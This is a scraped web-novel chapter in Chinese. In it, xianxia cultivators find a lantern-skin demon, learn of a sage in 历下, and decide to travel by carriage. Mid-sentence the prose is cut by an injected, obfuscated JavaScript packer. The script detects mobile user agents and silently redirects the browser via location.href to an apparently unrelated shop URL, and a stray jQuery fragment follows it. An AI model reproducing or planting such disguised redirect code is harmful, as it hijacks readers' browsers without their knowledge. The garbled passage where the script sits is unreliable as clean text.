默认冷灰
24号文字
方正启体

5. 大侠拼车

作者:欲海为霜本书字数:K更新时间:
    只是他没想到祁朔扬居然这个时候还能记得这件事,毕竟萧子晋现在就一副大脑已经宕机的表情。


    祁朔扬闻言收回视线,稍微后退了两步。


    闻人褚:“不早了,我们还要休息,各位就请回吧。”


    话音刚落,屏风后咕噜咕噜滚出来一个带血的圆形物件,好巧不巧砸在祁朔扬脚边。


    闻人褚心一下子拉到了嗓子眼。


    祁朔扬低眼认真辨别几秒,还没认出是什么东西萧子晋突然灵魂出窍一般大喊:“啊—这是头啊!!我刚刚在下面看见的就是这个!!!”


    闻人褚赶紧反驳:“不是!”


    顾枕书被萧子晋一嗓子喊得耳朵疼,道:“你仔细看看行不行,这哪里是头了?”


    祁朔扬蹲下将那东西左左右右翻了一遍,还是没认出来是什么。


    是很像人头,但上面没有五官,很光滑甚至没有一点毛发,但是细看这种肌理又很像人类的皮肤,如果非要说的话,更像是谁把人皮包在了蹴鞠上。


    光滑的皮肤上有一个很平滑的切口,像是利器利开的,那些血就是从这个伤口流出来的。


    虽然不知道是什么,但总归是个活物。


    闻人褚见瞒不住他们了,只好先表明他们二人的清白,道:“这真的不是人头三位道友!这是一种名唤灯彩皮的小妖,此妖的皮可以用来做灯笼,是这荥州当地的一种特有妖物。”


    “诸位都是修行之人,自然也明白抓妖除魔是我们修士的使命。”


    言下之意便是我们都是一路人,抓个小妖此事自然不足为奇。


    “荥州当地达官贵族倒是很喜欢用灯彩皮做灯笼,说是夜间悬挂在大门处有驱邪除妖之效。”顾枕书如是说。


    “是这样,如今大雪封天,卜算者皆预言天灾将至,百姓人心惶惶,灯彩皮做的灯笼能驱邪除妖这种传言虽不知是何时而起,但好歹能给百姓带来一些慰藉。”闻人褚见顾枕书知道此事便松了一口气。


    但一口气还没松到底,又听见顾枕书问:“只是这荥州灯彩皮灯笼盛行,这灯彩妖现在也成了稀有昂贵之物,二位一口气抓了这么多灯彩妖……”


    “难不成是要倒卖?”


    这句话问的很有意思,明眼人都能看出来他们二人衣着不凡,显然不是缺钱之人。


    闻人褚自知对面是个聪明人,思量再三还是选择说了实话。


    萧子晋听完连忙上前握住闻人褚的手,激动道:“所以历下有位能算出仙岛位置的仙师!?这是灯彩妖你们准备的拜见礼?”


    闻人褚默默抽出手,尽量给出一个笑容,道:“是,小阎患有眼疾,仙岛上有能治他眼疾的草药。”


    祁朔扬闻言看了一眼阎宁,见他双目清明,不像是有眼疾。


    顾枕书注意到,提醒他:“别一直盯着人家,不礼貌。”


    祁朔扬收回视线,低声道:“他看上去不像有眼疾。”


    顾枕书:“你看,你又以貌取人。”


    祁朔扬莫名其妙:“我何时以貌取人过?”


    哪里来的又?


    顾枕书指了指自己,道:“我啊。”


    祁朔扬皱眉,问:“我如何以貌取你了?”


    顾枕问闻言一顿,笑了一声,说:“我记错了。”


    “……”


    萧子晋还在一旁像遇到恩人一般问仙师住哪,要准备什么拜见礼。


    阎宁皱眉扒拉开他又要去拉闻人褚的手,道:“历下,其余不便多说。”


    萧子晋被推了一下有些不满,嘟囔:“……说说呗,反正我们都是要去的。”


    顾枕书打断他的话,一手拽一个拉着就要走:“多谢二位了,今夜多有叨扰,我们就先告辞了,有缘仙岛再会。”


    萧子晋稍加反抗:“哎哎哎……”


    祁朔扬平平淡淡:“……”


    -


    顾枕书将门关上,一个转身对上一张稍显愤怒的脸和一张眉眼清冷没有表情的脸。


    “……干什么?”


    萧子晋不满:“你刚刚拽我干什么,我还没问完呢,不问清楚我们怎么找那个仙师啊?”


    顾枕书听他控诉完又看向祁朔扬,问:“你呢?”


    有什么想控诉的?


    祁朔扬垂眸思索两秒,抬眼问他:“历下在哪?”


    “……”顾枕书又被他问笑了,转个头先回答萧子晋:“蓬莱仙岛飘渺不定,且每次开放入岛人数不能超过十人,人家乐意跟你说在历下就不错了,你还想问到家里去?”


    萧子晋依旧不服:“不问清楚怎么找啊,历下那么大,找到什么时候去?”


    顾枕书懒得理他,拽着祁朔扬去桌子旁坐下,边倒水边说:“历下与荥州相近,中间只隔了几座城。”


    说着他将桌上的东西一扫而净,食指蘸水在红木桌上画出一道道水痕。


    “过启封、宋州、曹州、洪州,便可到历下。”


    他将路线画得清清楚楚,如此这般后抬眼看祁朔扬,问:“记住了吗?”


    祁朔扬自然摇头,道:“你不是知道路?”


    顾枕书:“…你不记问我干什么?”


    祁朔扬:“随口一问。”


    顾枕书:“……”


    萧子晋撇着眼走过去,留下一句桌子收拾干净。


    顾枕书更加无语了:“……”


    祁朔扬盯着他就这样看了半天,久到顾枕书想忽视都忽视不掉他的视线,于是他只好问:“怎么,还想随口问些什么?”


    祁朔扬侧了一下头,朝他侧面看过去,开口:“你的树枝好像断了。”


    是顾枕书用来束发的树枝,他伸手往后摸了一下,发现的确是断成两截了。


    “哦,谢谢。”


    顾枕书索性直接将树枝取下,将头发披散开来。


    树枝是他精挑细选过的,是路过百家大宗庇护地时在那里折下的一枝不知道什么树的树枝,百家大宗庇护地温暖如春,树木繁茂,树枝也细滑平直。


    但不管怎么说再平直的树枝也难免会有分叉,那根细小的枝丫刚好缠在他的头发里,顾枕书自己扯了半天反倒越扯越紧了,他只好问了一下祁朔扬能不能给自己取出来。


    祁朔扬答应了,站起身走至他背后,捻起那撮把他自己扯得乱七八糟的头发。


    祁朔扬皮肤瓷白,隐隐还透出些冷感,再加上好穿黑衣,强烈的颜色对比下显得他整个人更加白皙冷淡。


    但就是这样一个冷淡的人,平日里上挑的眼尾此时就这样垂着,捻起一撮头发在指尖,翻来覆去几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057840|194907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下就把那个小小的树枝挑了出来,黑的袖口黑的发,他泛着冷色的指骨随手顺了几下乱糟糟的头发。


    萧子晋看见这幅场面不知道怎么了,越看他俩的氛围越觉得奇怪,他顿觉自己是刚刚受天字号三号房的那对道侣影响太深了,于是果断提出自己要回房间独处了。


    他大喊一声果断冲向门口,干脆利落地开门、出去、关门,一气呵成,不带一点拖沓。


    祁朔扬面无表情地看着震了两下的门,心想门坏了会不会要赔钱。


    顾枕书回了下头,看见他捏着树枝的指尖,问:“好了吗?”


    “好了。”祁朔扬开口,将树枝递给他。


    -


    第二日一早,萧子晋就来砰砰敲门,顾枕书门一开就问:“又怎么了?”


    萧子晋先是切了他一声,又注意到他的头发束起来了,表情古怪地看了他两眼才问:“…祁朔扬呢?”


    顾枕书:“在睡觉。”


    萧子晋表情更加古怪起来,没忍住小声嘟囔:“怎么跟我早上去找师娘要桂花糕吃,师父的说辞一样啊?”


    “什么?”顾枕书似乎没听清,问。


    “没什么。”萧子晋皱眉,尽量把那种奇怪的感觉压下去,说:“让我先进去。”


    顾枕书不同意:“那怎么行,人家还睡着呢。”


    萧子晋皱眉:“我进去我又不喊他。”


    顾枕书依旧一手撑着门挡得严严实实,“那也不行。”


    “你是病人?”萧子晋发问。


    顾枕书挑眉,咳嗽两声,道:“咳咳…是啊。”


    “谁家病人长得跟一堵墙似的?你都要把这门挡实了。”萧子晋问。


    顾枕书抬头看了一眼门楣,谦虚道:“那倒没有,还是有些距离的。”


    “你!”


    “怎么了?”一道起伏平淡,音色冷冷的声音响起。


    是祁朔扬。


    萧子晋一把推开顾枕书,“起开!”


    祁朔扬脸色如常,眼神清明,哪里像刚睡醒的样子,萧子晋问:“你刚刚睡觉了?”


    祁朔扬摇头:“没有。”


    萧子晋闻言立马回头恶狠狠地瞪了顾枕书一眼,顾枕书靠在一旁,看见祁朔扬看过来立马轻咳两声。


    萧子晋拽着祁朔扬坐下,途中还嘟囔两句这人真装。


    坐下后,他眼神炽热,目光真诚,发问:“我们什么时候出发去历下?”


    祁朔扬表情与他截然相反,他脸色平静地思索两秒,道:“现在。”


    萧子晋高呼一声,“要的就是你这句话!”


    “走吧,你御剑,带我们去!”


    祁朔扬点头答应:“好。”


    “好?好什么好,不好。”顾枕书出声打断他们。


    萧子晋看见他就来气,问:“又怎么了,你别跟我说你是病人不能远行啊。”


    “自然不是。”顾枕书微微一笑,他看着祁朔扬,带着他的目光落在他的佩剑上,道:“自荥州起往北的三城,皆不让御剑跨城。”


    “大侠。”他喊祁朔扬,说:“我们得坐马车了。”


    “什么?”萧子晋崩溃,要知道坐马车到历下可要花不少钱,他立马掏出玉简戳戳戳,“不行,我得找找看有没有人拼马车!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)